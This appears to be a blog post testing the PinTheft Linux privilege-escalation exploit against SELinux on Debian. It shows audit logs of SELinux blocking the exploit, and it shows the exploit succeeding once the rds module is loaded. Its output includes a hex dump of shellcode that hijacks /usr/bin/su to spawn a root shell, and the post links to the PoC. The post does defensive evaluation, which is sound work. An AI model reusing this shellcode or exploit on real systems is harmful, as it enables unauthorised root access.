Debian SE Linux and PinTheft

# Debian SE Linux and PinTheft Source: [https://etbe.coker.com.au/2026/05/24/debian-selinux-pintheft/](https://etbe.coker.com.au/2026/05/24/debian-selinux-pintheft/) We have[a new Linux exploit called PinTheft \[1\]](https://github.com/v12-security/pocs/tree/main/pintheft)\. I did some tests of it with Debian kernel**6\.12\.74\+deb13\+1\-amd64**\. ## user\_t When I run the exploit as user\_t I see the following in the audit log: ``` type=PROCTITLE msg=audit(1779615031.043:15540): proctitle="./exp" type=AVC msg=audit(1779615031.043:15541): avc: denied { create } for pid=1360 comm="exp" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=rds_socket permissive=0 type=SYSCALL msg=audit(1779615031.043:15541): arch=c000003e syscall=41 success=no exit=-13 a0=15 a1=5 a2=0 a3=0 items=0 ppid=879 pid=1360 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="exp" exe="/home/test/b/pocs/pintheft/exp" subj=user_u:user_r:user_t:s0 key=(null)ARCH=x86_64 SYSCALL=socket AUID="test" UID="test" GID="test" EUID="test" SUID="test" FSUID="test" EGID="test" SGID="test" FSGID="test" ``` The last of the output of running the exploit is the following: ``` [-] only stole 0/1024 refs — may not be enough [-] too few stolen refs, aborting [-] attempt 5 failed, retrying... [-] all 5 attempts failed ``` ## unconfined\_t When I run it as unconfined\_t it gave the same output and stracing it had many of the following: ``` socket(AF_RDS, SOCK_SEQPACKET, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) ``` After I ran “**modprobe rds**” the exploit worked as unconfined\_t with the following output: ``` [*] verifying page cache overwrite... [*] page cache page 0 AFTER overwrite (our shellcode) (129 bytes): 0000: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 0010: 03 00 3e 00 01 00 00 00 68 00 00 00 00 00 00 00 |..>.....h.......| 0020: 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |8...............| 0030: 00 00 00 00 40 00 38 00 01 00 00 00 05 00 00 00 |[email protected].........| 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 0050: 2f 62 69 6e 2f 73 68 00 81 00 00 00 00 00 00 00 |/bin/sh.........| 0060: 81 00 00 00 00 00 00 00 31 ff b0 69 0f 05 48 8d |........1..i..H.| 0070: 3d db ff ff ff 6a 00 57 48 89 e6 31 d2 b0 3b 0f |=....j.WH..1..;.| 0080: 05 |.| [+] verification PASSED — page cache overwritten with SHELL_ELF [+] executing /usr/bin/su (now contains setuid(0) + execve /bin/sh)... === RESTORE: sudo cp /tmp/.backup_su_13294 /usr/bin/su && sudo chmod u+s /usr/bin/su === # ``` ## Conclusion SE Linux in a “strict” configuration stops this exploit\. The test VM is running Debian/Testing, I haven’t bothered investigating whether it’s a default setting for Debian to not load the**rds**module or whether it was some change that I made either directly or indirectly\. Security via SE Linux is of more interest to me than security via controlling module load\. - [https://github\.com/v12\-security/pocs/tree/main/pintheft](https://github.com/v12-security/pocs/tree/main/pintheft) ## Post navigation